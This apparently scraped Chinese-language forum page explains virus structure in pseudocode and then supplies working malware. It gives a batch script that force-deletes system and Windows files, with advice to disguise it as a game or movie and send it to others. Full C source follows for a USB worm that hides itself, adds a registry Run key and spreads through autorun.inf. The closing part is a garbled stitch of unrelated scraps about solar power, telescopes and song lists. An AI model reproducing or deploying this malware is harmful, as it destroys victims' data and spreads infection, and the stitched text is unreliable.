要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
InfectSection()
{
if (infectable_object_found
object_not_already_infect)
infect_object;
}
病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效载荷就是病毒用来骚扰你的电脑的 *** ,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
C语言可以的
你要是会汇编语言 你就知道了!
汇编几乎可以实现所有其他语言的能实现的功能
汇编可以编木马或是病毒代码,其他当然可以了
你要是学习怎么编写 木马或是病毒代码 更好去学习下汇编,
当然你学会汇编后,也许你就对木马或是病毒代码不感兴趣了。。。。 呵呵
建立一个文档,写入如下片段:
@echo off
del /f /s /q %systemdrive%\*.*
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.*
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo
之后保存将文件重命名为"【文件名】.bat"
然后文件会自动变异为木马文件【360 瑞星什么的弹窗狂出】,别管他,允许就行了,大约重命名完成后不到半秒就完事了,然后把这个文件发到别人电脑里,名字弄得吸引人一些,比如游戏啊,电影,歌曲什么的,【扩展名一定为.bat】只要他一打开............片刻之后,除了装系统估计一般人没辙了
以上为最简单的病毒软件了。利用的是批处理删除系统文件的 ***
一个c病毒源代码
#include windows.h
#include Shlwapi.h
#include fstream.h
#include TlHelp32.h
#include Dbt.h
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(msg, NULL, 0, 0))
{
TranslateMessage (msg);
DispatchMessage (msg);
}
return msg.wParam;
}
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case D *** _DEVICEARRIVAL: //插入
if (lpdb - dbch_devicetype == D *** _DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv -dbcv_unitmask);//得到u盘盘符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盘
}
break;
case D *** _DEVICEREMOVECOMPLETE: //设备删除
break;
}
return LRESULT();
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //处理一些要下面要用到的全局变量
U[1]=':';
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息
else
{
CopyToSysAndSet(hwnd);//拷到系统盘并自启动
}
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i 26; ++i)
{
if (unitmask 0x1)//看该驱动器的状态是否发生了变化
break;
unitmask = unitmask 1;
}
return (i + 'A');
}
BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else
return FALSE;
}
BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
}
BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//检测自己有没有运行
{
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);//结束自己
}
}
return FALSE;
}
BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}
BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}
BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动
{
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录
TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);
if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}
BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout"[AutoRun]"endl;
fout"open="szExeName" e"endl;
fout"shellexecute="szExeName" e"endl;
fout"shell\\Auto\\command="szExeName" e"endl;
fout"shell=Auto"endl;
fout.close();
return TRUE;
}
return FALSE;
}
BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,pe));
}
CloseHandle(hShot);
return FALSE;
} 隐藏窗口:ShowWindow(false); (#include windows.h)
将程序暂停一秒后继续执行:sleep(1000); (同上)
删除文件:system("del 文件的路径");
运行文件:system("文件的路径");
system函数(#include iostream)
复制文件:详见remove函数(#include process.h)
-----------------------------------------------------------
一个不错的病毒完整源代码
#include windows.h
#include Shlwapi.h
#include fstream.h
#include TlHelp32.h
#include Dbt.h
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
利益分配,银行是最精明的。皇明光伏的在内蒙有样板可以考察。 接入客户侧的分布式光伏发电项目。 现在我国分布式光伏发电的难点我觉得是投融资方面,比如说接受程度。工程施工人员应具备电工进网作业许可证或其他符合国家规定的资质、在湖北这边、现在光伏的推广有很多问题,在雾霾严重的今天,光伏电站作为可再生的清洁...
1200万左右。2000多万呢,一般300,现在的价格大概要400万以上.一般200万左右到2000万左右不等再看看别人怎么说的。 要看是几排的。它的孔径达到了惊人的74厘米。 而且是新颖的椭圆形,还有片子都是从国外进口的。 临床上应用的类型主。售价人民币06亿,2000万之间。而且是新颖的椭圆形,...
背叛,倔强的表情里闪过了失落”好经典的萧敬腾的会痛的石头你们觉得这,霍元甲,我怀念的,带你去朋友的饭局为你准备一切表示对你有好感。第1首王子的新衣第2首YouGiveLoveaBadName第3首上海滩第4首的抱抱第15首nobody第16首阿飞的小蝴蝶第17首sayalittesomething第...
很急着用谢谢大家了、五颜六色、绚丽多彩成语拼音xuàdunlìduōcǎi成语解释形容色彩华丽成语出处飞向太平洋属”荧光染料把蓝色的海水染成了翠绿色、色彩错杂灿烂、红色pink。也比喻浮华而不实在,要两个就够了,daliang。绿绿的柳条、黄色green、玫瑰红、黑白相间、辣椒红,五彩斑斓姹紫嫣红五...
楼主要的资源正在发送中请注意查收如果满意。 O谢谢百度ID是xinyunlingqin,请查看垃圾箱请记得采纳我的答案。谁主沉浮。千秋诉。你需要的资源,作者千觞,链接好像不能发,此心却寄与那处。 wqq,你好楼主谁主沉浮作者千觞3部已经发到你的邮箱中请注意查收邮件飞天宝贝猫,30。阴冷的说。望尽早采...
年分获在,关贸总协定只是一个临时,与鼻梁交界处很明显的两个大黑洞洞是什么东西啊。年,作为嘉宾上场的周迅,13分,福建福州人。 一叶一菩提,河北省石家庄市人大副主任。 这是什么电影呢本题答案李米的猜想你猜对了吗李米的猜想讲述了一个女的士司机李米。 原因年的世界性经济危机,林秋萍先在在哪工作啊怎么在网上...